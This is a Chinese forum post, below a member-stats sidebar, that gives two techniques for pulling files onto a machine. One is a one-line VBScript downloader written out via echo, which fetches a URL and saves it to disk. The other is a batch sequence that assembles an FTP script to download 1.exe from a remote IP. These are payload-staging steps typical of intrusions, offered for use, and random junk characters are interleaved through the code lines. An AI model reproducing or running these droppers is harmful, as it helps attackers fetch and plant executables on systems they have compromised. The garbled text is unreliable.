- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >解决办法: 2 E V V+ s1 o4 l2 b2 K( }$ \
1.iget.vbs一次写入 # [3 \( }2 Q2 [! r% n7 N9 q
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
^3 z' ~: M* R3 D$ o; N/ ]
3 x6 t- H, X' }2 [& k3 U: }Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 % R/ t# [8 ^6 k/ J$ c) N
$ w* e1 e: n* z! T& e这样我们可以一次echo成功,echo版本:
0 D7 C H: I% J9 a: S" l$ |, @( ]1 }* G3 w& J: W+ ^$ y( g# n& z) `
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs 3 n7 L: [, ^6 [
1 y" G8 Z1 ^! c! ]1 l) J9 k
# u4 \: c4 v! O+ W2 N! R2 g
2.bat调用ftp脚本的写法(by envymask) ; i- [7 H. V2 q5 @ h+ ^0 K+ U) e
0 |, s! A9 V. l. techo ftp>1.vbs
( v5 v( h1 d( ]: K' F- Lecho open ip>2.vbs
# s( T, o% N v& T1 h5 Aecho u>3.vbs
& P/ f% g* j' j6 Q: y2 uecho s>4.vbs
, x9 a6 `& [( @- T8 Oecho binary>5.vbs
5 ]; y6 I- v: B3 n) H& a* xecho get 1.exe>6.vbs
& Z' C+ h# P$ T6 g7 A4 }& ]2 Lecho bay>7.vbs / \- N/ Q8 `6 K7 }- R* X2 w' m
& m* X: U7 E t/ G+ c/ z
copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
* A4 v5 [) U0 ^) I9 Y2 Q</P> |
zan
|